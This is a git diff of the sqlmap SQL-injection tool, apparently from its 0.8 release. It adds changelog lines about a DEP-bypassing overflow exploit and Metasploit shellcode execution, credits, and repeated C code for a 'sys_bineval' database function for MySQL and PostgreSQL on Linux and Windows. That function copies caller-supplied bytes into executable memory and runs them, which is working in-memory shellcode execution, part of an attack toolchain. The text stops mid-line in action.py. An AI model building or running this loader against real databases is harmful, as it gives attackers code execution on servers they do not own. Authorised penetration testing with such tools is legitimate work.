diff --git a/doc/ChangeLog b/doc/ChangeLog index 9667a7a97..d63290d88 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -1,3 +1,26 @@ +sqlmap (0.8-1) stable; urgency=low + + * Major enhancement to the Microsoft SQL Server stored procedure + heap-based buffer overflow exploit (--os-bof) to automatically bypass + DEP memory protection. + * Added support for MySQL and PostgreSQL to execute Metasploit shellcode + via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an + option instead of uploading the standalone payload stager executable. + * Added options for MySQL, PostgreSQL and Microsoft SQL Server to + read/add/delete Windows registry keys. + * Added options for MySQL and PostgreSQL to inject custom user-defined + functions. + * Added support for --first and --last so the user now has even more + granularity in what to enumerate in the query output. + * Minor enhancement to save the session by default in + 'output/hostname/session' file if -s option is not specified. + * Minor improvement to automatically remove sqlmap created temporary + files from the DBMS underlying file system. + * Minor bugs fixed. + * Major code refactoring. + + -- Bernardo Damele A. G. DAY, DD MMM 20YY 10:00:00 +0000 + sqlmap (0.7-1) stable; urgency=low * Adapted Metasploit wrapping functions to work with latest 3.3 diff --git a/doc/THANKS b/doc/THANKS index b4bd7c5be..73a37d9f6 100644 --- a/doc/THANKS +++ b/doc/THANKS @@ -20,7 +20,7 @@ Cesar Cerrudo sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, - http://www.argeniss.com/research/Churrasco.zip + http://www.argeniss.com/research/TokenKidnapping.pdf Karl Chen for providing with the multithreading patch for the inference @@ -50,6 +50,11 @@ Dan Guido Adam Faheem for reporting a few bugs +James Fisher + for providing me with two very good feature requests + for his great tool too brute force directories and files names on + web/application servers, Dir Buster, http://tinyurl.com/dirbuster + Jim Forster for reporting a bug @@ -70,6 +75,7 @@ Ivan Giacomelli for reviewing the documentation Oliver Gruskovnjak + for reporting a bug for providing me with a minor patch Davide Guerri @@ -108,10 +114,13 @@ Nicolas Krassas for reporting a bug Guido Landi + for reporting a couple of bugs for the great technical discussions for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow - (MS09-004) exploit development, http://www.milw0rm.com/author/1413 + (MS09-004) exploit development + for presenting with me at SOURCE Conference 2009 in Barcelona (Spain) + on September 21, 2009 Lee Lawson for reporting a minor bug @@ -153,6 +162,9 @@ John F. Reiser Antonio Parata for providing me with some ideas for the PHP backdoor +Adrian Pastor + for donating to sqlmap development + Chris Patten for reporting a bug in the blind SQL injection bisection algorithm diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile b/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile index 5aaa4b66f..24ddc7193 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile +++ b/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile @@ -3,4 +3,4 @@ LIBDIR=/usr/lib install: gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so strip -sx so/lib_mysqludf_sys.so - cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so + sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql b/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql index 6fb7933ba..a01e11d5b 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql +++ b/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql @@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get; DROP FUNCTION IF EXISTS sys_set; DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval; +DROP FUNCTION IF EXISTS sys_bineval; CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so'; diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so b/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so index f46f4e8f5..699065da3 100755 Binary files a/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so and b/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so differ diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c b/extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c index 8f023b412..2e3f2ac89 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c +++ b/extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c @@ -23,6 +23,9 @@ #define DLLEXP __declspec(dllexport) #else #define DLLEXP +#include +#include +#include #endif #ifdef STANDARD @@ -191,6 +194,33 @@ char* sys_eval( , char *error ); +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef __cplusplus } @@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init( } return status; } + void lib_mysqludf_sys_info_deinit( UDF_INIT *initid ){ } + char* lib_mysqludf_sys_info( UDF_INIT *initid , UDF_ARGS *args @@ -250,10 +282,12 @@ my_bool sys_get_init( return 1; } } + void sys_get_deinit( UDF_INIT *initid ){ } + char* sys_get( UDF_INIT *initid , UDF_ARGS *args @@ -305,6 +339,7 @@ my_bool sys_set_init( } return 0; } + void sys_set_deinit( UDF_INIT *initid ){ @@ -312,6 +347,7 @@ void sys_set_deinit( free(initid->ptr); } } + long long sys_set( UDF_INIT *initid , UDF_ARGS *args @@ -352,10 +388,12 @@ my_bool sys_exec_init( return 1; } } + void sys_exec_deinit( UDF_INIT *initid ){ } + my_ulonglong sys_exec( UDF_INIT *initid , UDF_ARGS *args @@ -382,10 +420,12 @@ my_bool sys_eval_init( return 1; } } + void sys_eval_deinit( UDF_INIT *initid ){ } + char* sys_eval( UDF_INIT *initid , UDF_ARGS *args @@ -422,5 +462,90 @@ char* sys_eval( return result; } +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} -#endif /* HAVE_DLOPEN */ +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = strlen(args->args[0]); + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll b/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll index 26733307b..8f62d0fb3 100755 Binary files a/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll and b/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll differ diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql b/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql index fa083e54d..dbe93bf6f 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql +++ b/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql @@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get; DROP FUNCTION IF EXISTS sys_set; DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval; +DROP FUNCTION IF EXISTS sys_bineval; CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll'; +CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll'; diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c b/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c index 8f023b412..2e3f2ac89 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c +++ b/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c @@ -23,6 +23,9 @@ #define DLLEXP __declspec(dllexport) #else #define DLLEXP +#include +#include +#include #endif #ifdef STANDARD @@ -191,6 +194,33 @@ char* sys_eval( , char *error ); +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef __cplusplus } @@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init( } return status; } + void lib_mysqludf_sys_info_deinit( UDF_INIT *initid ){ } + char* lib_mysqludf_sys_info( UDF_INIT *initid , UDF_ARGS *args @@ -250,10 +282,12 @@ my_bool sys_get_init( return 1; } } + void sys_get_deinit( UDF_INIT *initid ){ } + char* sys_get( UDF_INIT *initid , UDF_ARGS *args @@ -305,6 +339,7 @@ my_bool sys_set_init( } return 0; } + void sys_set_deinit( UDF_INIT *initid ){ @@ -312,6 +347,7 @@ void sys_set_deinit( free(initid->ptr); } } + long long sys_set( UDF_INIT *initid , UDF_ARGS *args @@ -352,10 +388,12 @@ my_bool sys_exec_init( return 1; } } + void sys_exec_deinit( UDF_INIT *initid ){ } + my_ulonglong sys_exec( UDF_INIT *initid , UDF_ARGS *args @@ -382,10 +420,12 @@ my_bool sys_eval_init( return 1; } } + void sys_eval_deinit( UDF_INIT *initid ){ } + char* sys_eval( UDF_INIT *initid , UDF_ARGS *args @@ -422,5 +462,90 @@ char* sys_eval( return result; } +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} -#endif /* HAVE_DLOPEN */ +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = strlen(args->args[0]); + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh index 56df333d5..a5aa0c6a2 100755 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh @@ -19,6 +19,8 @@ # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # Adapt the following settings to your environment +#PORT="5433" +#VERSION="8.2" PORT="5432" VERSION="8.3" USER="postgres" diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql index ad26ff250..4094348af 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql @@ -21,3 +21,4 @@ CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so index b5301e17d..16556d4fb 100644 Binary files a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so and b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so index ae2a12601..bb7cfa39c 100755 Binary files a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so and b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c index aee918632..ffc890e9c 100755 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c @@ -25,14 +25,23 @@ #define BUILDING_DLL 1 #else #define DLLEXP +#include +#include +#include +#include #endif #include #include #include +#include #include +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif @@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { memcpy(VARDATA(result_text), result, strlen(result)); PG_RETURN_POINTER(result_text); -} \ No newline at end of file +} + +PG_FUNCTION_INFO_V1(sys_bineval); +extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c index b07fbb56c..48cabdcc2 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c @@ -25,14 +25,23 @@ #define BUILDING_DLL 1 #else #define DLLEXP +#include +#include +#include +#include #endif #include #include #include +#include #include +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif @@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { PG_RETURN_POINTER(result_text); } + +PG_FUNCTION_INFO_V1(sys_bineval); +extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll index b47f15c51..49e5f8130 100755 Binary files a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll and b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll index 875aa45c6..a4935bcc8 100755 Binary files a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll and b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql index f129ab905..f5b12056c 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql @@ -21,3 +21,4 @@ CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c index aee918632..ffc890e9c 100755 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c @@ -25,14 +25,23 @@ #define BUILDING_DLL 1 #else #define DLLEXP +#include +#include +#include +#include #endif #include #include #include +#include #include +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif @@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { memcpy(VARDATA(result_text), result, strlen(result)); PG_RETURN_POINTER(result_text); -} \ No newline at end of file +} + +PG_FUNCTION_INFO_V1(sys_bineval); +extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c index b07fbb56c..48cabdcc2 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c @@ -25,14 +25,23 @@ #define BUILDING_DLL 1 #else #define DLLEXP +#include +#include +#include +#include #endif #include #include #include +#include #include +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif @@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { PG_RETURN_POINTER(result_text); } + +PG_FUNCTION_INFO_V1(sys_bineval); +extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif diff --git a/lib/controller/action.py b/lib/controller/action.py index c5202d123..ed0f59e0c 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -125,6 +125,10 @@ def action(): if conf.sqlShell: conf.dbmsHandler.sqlShell() + # User-defined function options + if conf.udfInject: + conf.dbmsHandler.udfInjectCustom() + # File system options if conf.rFile: dumper.string("%s file saved to" % conf.rFile, 